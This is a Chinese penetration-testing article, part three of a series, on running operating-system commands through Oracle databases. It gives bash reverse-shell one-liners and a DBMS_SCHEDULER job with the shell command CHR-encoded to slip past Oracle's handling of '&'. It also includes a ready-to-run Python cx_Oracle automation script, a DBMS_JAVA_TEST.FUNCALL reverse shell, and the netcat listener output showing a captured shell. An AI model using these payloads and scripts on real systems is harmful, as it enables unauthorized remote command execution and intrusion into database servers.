STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经雷神众测允许，不得任意修改或者增减此文章内容，不得以任何方式将其用于商业目的。
👇点击阅读第一、二章内容
前两章主要介绍了Oracle的体系结构、Oracle Java支持、Oracle CLR和Oracle SQL 注入技巧，这一章主要介绍Oracle 命令执行技巧。
Oracle 命令执行技巧
基于不同的权限，常见有三种方案可以执行命令：
DBMS_SCHEDULER、JAVA、Oracle debug
DBMS_SCHEDULER
该软件包的使用方式与Windows任务计划相似，能够指定某个任务在某时某刻执行，并且可以设置重复方式。经过实践，调用Java进行命令执行的优势是支持的版本能够达到Oracle i8+，而DBMS_SCHEDULER软件包是从Oracle 11g开始支持。DBMS_SCHEDULER软件包提供了可以从任何PL/SQL程序调用的调度功能和过程的集合。
执行频次 - repeat_interval
FREQ 用于指定频次计量单位：
（YEARLY, MONTHLY, WEEKLY, DAILY, HOURLY, MINUTELY, and SECONDLY），
1./bin/bash -c 'exec bash -i &>/dev/tcp/172.17.0.1/1122 <&1'
2./bin/bash -i &>/dev/tcp/172.17.0.1/1122 <&1
exec DBMS_SCHEDULER.CREATE_JOB(job_name=>'J1230', # 任务IDjob_type=>'EXECUTABLE',number_of_arguments=>2, # 参数数量job_action =>'/bin/bash', # 执行路径auto_drop=>FALSE);# 第一个参数exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1230',1,'-c');# 第二个参数exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1230',2,CHR(101) || CHR(120) || CHR(101) || CHR(99) || CHR(32) || CHR(98) || CHR(97) || CHR(115) || CHR(104) || CHR(32) || CHR(45) || CHR(105) || CHR(32) || CHR(38) || CHR(62) || CHR(47) || CHR(100) || CHR(101) || CHR(118) || CHR(47) || CHR(116) || CHR(99) || CHR(112) || CHR(47) || CHR(49) || CHR(55) || CHR(50) || CHR(46) || CHR(49) || CHR(55) || CHR(46) || CHR(48) || CHR(46) || CHR(49) || CHR(47) || CHR(49) || CHR(49) || CHR(50) || CHR(50) || CHR(32) || CHR(60) || CHR(38) || CHR(49));exec DBMS_SCHEDULER.ENABLE('J1230'); # 开始执行exec DBMS_SCHEDULER.DROP_JOB(job_name=>'J1230') # 删除任务
这里采用的是第一种方式，一共只需要传递2个参数即可，由于 &1 被Oracle进行了特殊处理，因此可以直接调用CHR函数进行编码。
import cx_Oracleimport timedef connect_oracle(username, password, sid, hostname, port=1521):dsn = cx_Oracle.makedsn(hostname, port, service_name=sid)connection = cx_Oracle.connect(username, password, dsn, cx_Oracle.SYSDBA,encoding="UTF-8")return connectiondef query_row_oracle(sql, connection):cur = connection.cursor()results = cur.execute(sql)for row in results:print(row[0])def execute_sql_oracle(sql, connection):cur = connection.cursor()results = cur.execute(sql)connection.commit()def convert_command_to_oracleString(command):command_list = list(command)command_oracleString = ''for k in range(0,len(command_list)):command_oracleString += 'CHR(' + str(ord(command_list[k])) + ')'if(k + 1 != len(command_list)):command_oracleString += "||"return command_oracleStringdef dbms_scheduler_execute(command , connection):job_name = 'JOracle1'bash_command = convert_command_to_oracleString(command)create_job_command = "begin nDBMS_SCHEDULER.CREATE_JOB(job_name=>'%s',job_type=>'EXECUTABLE', number_of_arguments=>2,job_action =>'/bin/bash',auto_drop=>FALSE); nend;"%(job_name)set_job_args_command = "begin n DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('%s',1,'-c'); nend;"% (job_name)bash_for_job_command = "begin n DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('%s',2,%s); nend;" % (job_name, bash_command)enable_job_command = "begin n DBMS_SCHEDULER.ENABLE('%s'); nend;" % job_namedrop_job_command = "begin n DBMS_SCHEDULER.DROP_JOB(job_name=>'%s');nend;" %(job_name)execute_sql_oracle(drop_job_command, connection)"""print(create_job_command)print(set_job_args_command)print(bash_for_job_command)print(enable_job_command)print(drop_job_command)"""execute_sql_oracle(create_job_command, connection)execute_sql_oracle(set_job_args_command, connection)execute_sql_oracle(bash_for_job_command, connection)execute_sql_oracle(enable_job_command, connection)time.sleep(3)# execute_sql_oracle(drop_job_command, connection)if __name__ == "__main__":connection = connect_oracle('sys','sys','helowin','127.0.0.1')dbms_scheduler_execute('touch /tmp/222.txt',connection)connection.close()
使用图形化工具
直连数据库情况下
安装sqlplus
官方下载地址:
https://www.oracle.com/database/technologies/instant-client/winx64-64-downloads.html
命令行
root@kali:~使用sqlplus连接目标OA系统的oracle数据库，写入bash反弹命令。
root@kali:~SQL> select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','exec 9<> /dev/tcp/172.22.49.131/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh') from dual;Enter value for 9: &9Enter value for 9: &9Enter value for 1: &1
nc监听后，成功收到shell。
起初是不能执行系统命令的，需要添加环境变量才可以执行命令，这里需要特殊注意下。
root@kali:~listening on [any] 8080 ...192.168.31.75: inverse host lookup failed: Unknown hostconnect to [172.22.49.131] from (UNKNOWN) [192.168.31.75] 19050ifconfig/bin/sh: line 4: ifconfig: No such file or directoryecho 11export PATH="/usr/local/bin:/usr/local/sbin:/usr/bin:/bin:/usr/sbin:/sbin" //添加环境变量ifconfig
JAVA
使用sqlps或者java的jdbc去链接数据库的话可以进行利用，使用navicat等数据库工具进行链接不能进行利用。
Oracle debug
Oracle命令执行分为两种情况，直连数据库且权限足够的情况是比较容易的，如果是SQL注入场景下，大部分是基于存储过程注入（漏洞）来执行命令。
本章主要介绍了Oracle命令执行技巧，下一章我们将介绍Oracle历史漏洞。
👇点击阅读前面内容
RECRUITMENT
招聘启事
END
长按识别二维码关注我们
本文始发于微信公众号（雷神众测）：Oracle 渗透利用（三）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论